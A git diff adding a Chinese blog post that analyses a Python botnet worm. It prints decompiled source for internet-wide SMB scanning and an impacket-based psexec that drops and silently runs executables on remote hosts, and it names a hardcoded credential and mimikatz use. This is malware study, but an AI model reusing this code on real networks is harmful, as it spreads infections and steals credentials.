+ s.send(NEGOTIATE_PROTOCOL_REQUEST) + negotiate_reply = s.recv(1024) + if len(negotiate_reply) < 36 or struct.unpack('I', socket.inet_aton(ip))[0] + start = i >> host_bits << host_bits + end = i | (1 << host_bits) - 1 + for i in range(start + 1, end): + semaphore1.acquire() + ip = socket.inet_ntoa(struct.pack('>I', i)) + t1 = threading.Thread(target=scansmb, args=(ip, 445)) + t1.start() + + time.sleep(1) + + print 'smb over sleep 200s' + time.sleep(5) + if 'Windows-XP' in platform.platform(): + time.sleep(1000) + else: + print 'start scan2' + if '.exe' in dl: + for network in iplist2: + ip, cidr = network.split('/') + if ip.split('.')[0].strip() == '192': + continue + if ip.split('.')[0].strip() == '127': + continue + if ip.split('.')[0].strip() == '10': + continue + if ip.split('.')[0].strip() == '0': + continue + if ip.split('.')[0].strip() == '100': + continue + if ip.split('.')[0].strip() == '172': + continue + if int(ip.split('.')[0].strip()) in xrange(224, 256): + continue + print network + cidr = int(cidr) + host_bits = 32 - 16 + i = struct.unpack('>I', socket.inet_aton(ip))[0] + start = i >> host_bits << host_bits + end = i | (1 << host_bits) - 1 + for i in range(start + 1, end): + semaphore2.acquire() + ip = socket.inet_ntoa(struct.pack('>I', i)) + t1 = threading.Thread(target=scansmb3, args=(ip, 445)) + t1.start() + + time.sleep(1) + + print 'smb over sleep 200s' + time.sleep(5) + print 'eb2 internet' + for s in xip(500): + if s.split('.')[0].strip() == '127': + continue + if s.split('.')[0].strip() == '10': + continue + if s.split('.')[0].strip() == '0': + continue + if s.split('.')[0].strip() == '100': + continue + if s.split('.')[0].strip() == '172': + continue + if int(s.split('.')[0].strip()) in xrange(224, 256): + continue + print s + ip, cidr = s.split('/') + cidr = int(cidr) + host_bits = 32 - cidr + i = struct.unpack('>I', socket.inet_aton(ip))[0] + start = i >> host_bits << host_bits + end = i | (1 << host_bits) - 1 + for i in range(start + 1, end): + semaphore1.acquire() + ip = socket.inet_ntoa(struct.pack('>I', i)) + t1 = threading.Thread(target=scansmb2, args=(ip, 445)) + t1.start() + + time.sleep(2) + + print 'eb2 over' + print 'sleep 10min' + time.sleep(5) + mmka() + +# global h_one ## Warning: Unused global +``` + 里面有两个不是公开的库,mysmb和psexec,其中mysmb看起来是[永恒之蓝RCE中的代码](https://github.com/0xsyr0/OSCP/blob/main/exploits/CVE-2017-0144-EternalBlue-MS17-010-RCE/mysmb.py),psexec有找到几个相似的但是没找到一样的,所以代码也放上来: +```python +# uncompyle6 version 3.9.2 +# Python bytecode version base 2.7 (62211) +# Decompiled from: Python 2.7.18 (default, Jun 24 2022, 18:01:55) +# [GCC 8.5.0 20210514 (Red Hat 8.5.0-13)] +# Embedded file name: psexec.py + +import sys, os, cmd, logging +from threading import Thread, Lock +import argparse, random, string, time +from impacket.examples import logger +from impacket import version, smb +from impacket.smbconnection import SMBConnection +from impacket.dcerpc.v5 import transport +from impacket.structure import Structure +from impacket.examples import remcomsvc, serviceinstall + +class RemComMessage(Structure): + structure = ( + ('Command', '4096s=""'), + ('WorkingDir', '260s=""'), + ('Priority', ' 1: + src_path = params[0] + dst_path = params[1] + elif len(params) == 1: + src_path = params[0] + dst_path = '/' + src_file = os.path.basename(src_path) + fh = open(src_path, 'rb') + f = dst_path + '/' + src_file + print '!!!!!!!!!!!!!!!!' + f + pathname = string.replace(f, '/', '\\') + logging.info('Uploading1111111111 %s to %s\\%s' % (src_file, self.share, dst_path)) + self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) + fh.close() + except Exception as e: + logging.error(str(e)) + + self.send_data('\r\n') + return + + def do_lcd(self, s): + if s == '': + print os.getcwd() + else: + os.chdir(s) + self.send_data('\r\n') + + def emptyline(self): + self.send_data('\r\n') + + def default(self, line): + self.send_data(line.decode(sys.stdin.encoding).encode('cp437') + '\r\n') + + def send_data(self, data, hideOutput=True): + global LastDataSent + if hideOutput is True: + LastDataSent = data + else: + LastDataSent = '' + self.server.writeFile(self.tid, self.fid, data) + + +class Pipes(Thread): + + def __init__(self, transport, pipe, permissions, share=None): + Thread.__init__(self) + self.server = 0 + self.transport = transport + self.credentials = transport.get_credentials() + self.tid = 0 + self.fid = 0 + self.share = share + self.port = transport.get_dport() + self.pipe = pipe + self.permissions = permissions + self.daemon = True + + def connectPipe(self): + try: + self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect) + user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials + if self.transport.get_kerberos() is True: + self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS) + else: + self.server.login(user, passwd, domain, lm, nt) + self.tid = self.server.connectTree('IPC$') + self.server.waitNamedPipe(self.tid, self.pipe) + self.fid = self.server.openFile(self.tid, self.pipe, self.permissions, creationOption=64, fileAttributes=128) + self.server.setTimeout(1000) + except: + logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) + + +class RemoteStdOutPipe(Pipes): + + def __init__(self, transport, pipe, permisssions): + Pipes.__init__(self, transport, pipe, permisssions) + + def run(self): + global LastDataSent + self.connectPipe() + return + while True: + try: + ans = self.server.readFile(self.tid, self.fid, 0, 1024) + except: + pass + else: + try: + if ans != LastDataSent: + sys.stdout.write(ans.decode('cp437')) + sys.stdout.flush() + else: + LastDataSent = '' + if LastDataSent > 10: + LastDataSent = '' + except: + pass + + +class RemoteStdErrPipe(Pipes): + + def __init__(self, transport, pipe, permisssions): + Pipes.__init__(self, transport, pipe, permisssions) + + def run(self): + self.connectPipe() + return + while True: + try: + ans = self.server.readFile(self.tid, self.fid, 0, 1024) + except: + pass + else: + try: + sys.stderr.write(str(ans)) + sys.stderr.flush() + except: + pass + + +class RemoteStdInPipe(Pipes): + + def __init__(self, transport, pipe, permisssions, share=None): + self.shell = None + Pipes.__init__(self, transport, pipe, permisssions, share) + return + + def run(self): + self.connectPipe() + return + self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport) + self.shell.cmdloop() + + +class StrReader: + + def __init__(self, str): + self.__str = str + + def close(self): + pass + + def read(self, size=1024): + ret_str = self.__str[:size] + self.__str = self.__str[size:] + return ret_str + + +class PSEXEC: + KNOWN_PROTOCOLS = {'445/SMB': ('ncacn_np:%s[\\pipe\\svcctl]', 445)} + + def __init__(self, copyFile=None, exeFile=None, cmd='', username='', password='', domain='', fr='', hashes=None, aesKey=None, doKerberos=False): + self.__username = username + self.__password = password + self.__protocols = PSEXEC.KNOWN_PROTOCOLS.keys() + self.__command = cmd + self.__domain = domain + self.__fr = fr + self.__lmhash = '' + self.__nthash = '' + self.__path = None + self.__aesKey = aesKey + self.__exeFile = exeFile + self.__copyFile = copyFile + self.__doKerberos = doKerberos + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + return + + def run(self, addr): + for protocol in self.__protocols: + protodef = PSEXEC.KNOWN_PROTOCOLS[protocol] + port = protodef[1] + logging.info('Trying protocol %s...\n' % protocol) + stringbinding = protodef[0] % addr + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(port) + if hasattr(rpctransport, 'set_credentials'): + rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) + rpctransport.set_kerberos(self.__doKerberos) + self.doStuff(rpctransport) + + def openPipe(self, s, tid, pipe, accessMask): + pipeReady = False + tries = 50 + while pipeReady is False and tries > 0: + try: + s.waitNamedPipe(tid, pipe) + pipeReady = True + except: + tries -= 1 + time.sleep(2) + + if tries == 0: + logging.critical('Pipe not ready, aborting') + raise + fid = s.openFile(tid, pipe, accessMask, creationOption=64, fileAttributes=128) + return fid + + def connectPipe(rpctransport, pipe, permisssions): + transport = rpctransport + server = SMBConnection('*SMBSERVER', transport.get_smb_connection().getRemoteHost(), sess_port=transport.get_dport(), preferredDialect=dialect) + user, passwd, domain, lm, nt, aesKey, TGT, TGS = transport.get_credentials() + if transport.get_kerberos() is True: + server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS) + else: + server.login(user, passwd, domain, lm, nt) + tid = server.connectTree('IPC$') + server.waitNamedPipe(tid, pipe) + fid = self.server.openFile(tid, pipe, permissions, creationOption=64, fileAttributes=128) + server.setTimeout(6000) + return server + + def doStuff(self, rpctransport): + global LastDataSent + global dialect + dce = rpctransport.get_dce_rpc() + try: + dce.connect() + except Exception as e: + return False + + dialect = rpctransport.get_smb_connection().getDialect() + try: + unInstalled = False + s = rpctransport.get_smb_connection() + s.setTimeout(30000) + installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc()) + installService.install() + if self.__copyFile: + try: + installService.copy_file(self.__copyFile, installService.getShare(), 'temp\\svchost.exe') + except: + print 'file exist' + + tid = s.connectTree('IPC$') + fid_main = self.openPipe(s, tid, '\\RemCom_communicaton', 1180063) + packet = RemComMessage() + pid = os.getpid() + packet['Machine'] = ('').join([random.choice(string.letters) for _ in range(4)]) + packet['ProcessID'] = pid + if self.__exeFile: + if self.__fr == '1': + installService.copy_file(self.__exeFile, installService.getShare(), 'temp\\updll.exe') + self.__command = self.__command.replace('"', '""') + vbs_cmd = '\n Set ws = CreateObject("WScript.Shell")\n ws.Run "%s",0\n Set ws = CreateObject("WScript.Shell")\n ws.Run "..\\\\temp\\\\updll.exe",0 \n ' % self.__command + elif self.__fr == '3': + installService.copy_file(self.__exeFile, installService.getShare(), 'temp\\setup-install.exe') + self.__command = self.__command.replace('"', '""') + vbs_cmd = '\n Set ws = CreateObject("WScript.Shell")\n ws.Run "%s",0\n Set ws = CreateObject("WScript.Shell")\n ws.Run "..\\\\temp\\\\setup-install.exe",0 \n ' % self.__command + else: + installService.copy_file(self.__exeFile, installService.getShare(), 'temp\\upinstalled.exe') + self.__command = self.__command.replace('"', '""') + vbs_cmd = '\n Set ws = CreateObject("WScript.Shell")\n ws.Run "%s",0\n Set ws = CreateObject("WScript.Shell")\n ws.Run "..\\\\temp\\\\upinstalled.exe",0 \n ' % self.__command + installService.copy_file(StrReader(vbs_cmd.strip()), installService.getShare(), 'temp\\tmp.vbs') + self.__command = 'cmd /c call "c:\\windows\\temp\\tmp.vbs"' + packet['Command'] = self.__command + print self.__command + s.writeNamedPipe(tid, fid_main, str(packet)) + LastDataSent = '' + stdin_pipe = RemoteStdInPipe(rpctransport, '\\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare()) + stdin_pipe.start() + stdout_pipe = RemoteStdOutPipe(rpctransport, '\\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA) + stdout_pipe.start() + stderr_pipe = RemoteStdErrPipe(rpctransport, '\\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA) + stderr_pipe.start() + time.sleep(1) + installService.uninstall() + s.deleteFile(installService.getShare(), 'temp\\tmp.vbs') + unInstalled = True + return True + except SystemExit: + return False + except: + if unInstalled is False: + time.sleep(1) + installService.uninstall() + s.deleteFile(installService.getShare(), 'temp\\tmp.vbs') + return False +``` + +# 行为分析 + 那这个代码都干了些什么呢?首先动态分析一下吧,我用微步云沙箱检查了一下,不过好像有人已经上传过了,[这个是报告](https://s.threatbook.com/report/file/60b6d7664598e6a988d9389e6359838be966dfa54859d5cb1453cbc9b126ed7d)。好像也没啥特别的,先给445端口开了个防火墙,估计是防止其他人利用永恒之蓝入侵,然后整了几个请求几个“beahh.com”域名的定时任务,另外就是同网段扫描啥的,应该是找其他机器继续尝试用漏洞入侵感染这个木马。 + 之后再看看代码,干的基本上确实是这些事情,主要就是利用永恒之蓝漏洞然后各种扫描,似乎有创假的系统用户的操作,不过没太看懂,扫描的时候除了用漏洞和弱密码之外好像还用了个“k8h3d:k8d3j9SjfS7”的用户?这是连别家的僵尸网络的节点吧,入侵完还给它删了🤣,还有加定时任务,然后用mimikatz把这台机器的密码存到“c:\windows\temp\mkatz.ini”这个文件里,扫描的时候也使用这里获取的密码,可能是考虑有些集群全都用一样的用户名和密码吧。木马的作者应该会利用那些定时任务发布指令,有可能会把密码拿走或者干别的事情吧。 + 不过定时任务里写的那个地址已经访问不到了(就连获取IP的接口也请求不通了),我在网上搜了一下看行为应该是这个[搞门罗币挖矿的木马](https://blog.checkpoint.com/2019/03/19/check-point-forensic-files-monero-cryptominer-campaign-cryptojacking-crypto-apt-hacking/),代码里没有体现,有可能是那个域名对应的远控服务器干的。不过这篇文章是2019年的,估计作者已经进去了吧,所以访问不到服务器😂,但是5年过去了,他的木马还在忠实的为他寻找肉鸡并等待他发布指令😭,这就是僵尸网络的魅力吧。 + +# 感想 + 用Python写的木马也挺有意思啊,这个代码中用到“[impacket](https://github.com/fortra/impacket)”库我还是头一次了解,看起来可以封装各种各样的网络包,感觉说不定会有项目能用得上,看这个代码也是学到了啊…… + 如果我能有属于自己的僵尸网络能不能让我的项目永存呢?不过这些感染了木马的老服务器总有一天会被淘汰掉,新的服务器肯定不会装Windows Server 2008这样超老的系统 ~~(我除外🤣)~~ ,而且现在新的系统漏洞越来越少了,想要出现像当年永恒之蓝那样的漏洞估计不太可能了,在未来估计就不会存在僵尸网络了……所以这还是做不到永存啊…… \ No newline at end of file diff --git a/links.md b/links.md index fa1979e..537be0f 100644 --- a/links.md +++ b/links.md @@ -8,7 +8,7 @@ tags: [links] | Links | Introduce | | - | - | -| [花火学园](https://www.sayhuahuo.shop/) | 和谐融洽的ACG交流以及资源聚集地 | +| [花火学园](https://www.sayhuahuo.net/) | 和谐融洽的ACG交流以及资源聚集地 | | [资源统筹局](https://gkdworld.com/) | 统筹保管用户分享的资源 | | [贫困的蚊子](https://mozz.ie/) | *No description* | | [极客兔兔](https://geektutu.com/) | 致力于分享有趣的技术实践 | -- cgit 1.4.1-2-gfad0